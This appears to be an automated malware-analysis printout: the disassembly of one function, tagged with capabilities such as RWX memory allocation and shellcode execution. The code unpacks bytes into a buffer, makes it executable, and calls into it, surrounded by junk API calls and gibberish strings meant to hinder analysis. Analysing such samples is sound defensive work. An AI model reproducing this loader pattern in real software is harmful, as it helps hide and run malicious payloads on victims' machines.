Function at 0x4013ea
Capabilities:
Allocate or change rwx memory
Copy file
Execute shellcode via indirect call
Get common file path
Get disk information
Get file attributes
Get geographical location
Move file
Query environment variable
Terminate process
Terminate thread

Disassembly:
mov eax, 0x40f3f0
call fcn.0040f3cc
mov eax, 0x1c30
call fcn.0040cee0
mov ecx, dword [0x86f9a4]
push ebx
push esi
xor esi, esi
push edi
cmp ecx, 0x93
jne 0x401485
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
push str.yenaticusejeyapajad
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawCaption]
xor eax, eax
lock bts dword [eax], 0
push esi
lea eax, [ebp - 0x43c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push dword [ebp - 0x14]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push esi
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ole32.dll_CoGetPSClsid]
push esi
lea eax, [ebp - 0xc3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call fcn.004032f0
pop ecx
push esi
call fcn.00402666
pop ecx
push esi
call fcn.00403654
mov eax, dword [0x41ce98]
add ecx, 0x1134b
push ecx
push esi
mov dword [0x86faa8], eax
mov dword [0x86f9a4], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x34]
mov dword [0x86f8fc], eax
push ecx
push 0x40
push dword [0x86f9a4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
push esi
lea eax, [ebp - 0x43c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
dec edi
jne 0x4014c0
mov ecx, dword [0x86f9a4]
mov ebx, esi
test ecx, ecx
je 0x40156a
mov eax, dword [0x86faa8]
mov cl, byte [eax + ebx + 0x1134b]
mov eax, dword [0x86f8fc]
mov byte [eax + ebx], cl
mov ecx, dword [0x86f9a4]
cmp ecx, 0x490
jne 0x401561
push esi
push esi
call dword [sym.imp.GDI32.dll_SetTextColor]
xor eax, eax
lea edi, [ebp - 0x2e]
mov word [ebp - 0x30], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0xc3c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
lea eax, [ebp - 0x143c]
push eax
push str.kirepolunoyimasir
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov ecx, dword [0x86f9a4]
inc ebx
cmp ebx, ecx
jb 0x4014e1
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x4015e2
push esi
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push esi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x43c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push esi
lea eax, [ebp - 0x143c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
lea eax, [ebp - 0xc3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [ebp - 0x1c3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [0x86f9a4]
inc edi
cmp edi, 0x38681
jl 0x40156c
mov ebx, dword [0x86f8fc]
mov edi, ecx
shr edi, 3
test edi, edi
je 0x40162a
cmp ecx, 0x959
jne 0x401615
push esi
lea eax, [ebp - 0x43c]
push eax
push str.hokafufubimujetovocoku
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ecx, ebx
call fcn.00401207
add ebx, 8
dec edi
je 0x40162a
mov ecx, dword [0x86f9a4]
jmp 0x4015fa
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x40164a
mov dword [ebp - 0x14], esi
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x86f8fc], eax
inc edi
cmp edi, 0x674db
jl 0x40162c
push 0x7b
pop edi
cmp dword [0x86f9a4], 0x86
jne 0x401698
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
lea eax, [ebp - 0x20]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
push str.xobotaloceyobuvexa_hedema
push 0x415f70
call dword [sym.imp.KERNEL32.dll_CopyFileW]
dec edi
jne 0x401656
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x86f8fc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret